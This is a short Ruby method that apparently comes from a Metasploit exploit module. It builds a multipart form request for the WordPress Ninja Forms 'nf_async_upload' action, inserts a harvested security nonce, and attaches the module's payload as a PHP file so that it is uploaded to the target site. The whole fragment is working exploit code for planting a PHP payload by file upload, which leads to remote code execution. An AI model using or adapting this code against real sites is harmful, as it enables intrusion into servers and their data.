def generate_mime_message(payload_name, nonce)
    puts "--- You have nonce: #{nonce.inspect}"
    data = Rex::MIME::Message.new
    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
    data
  end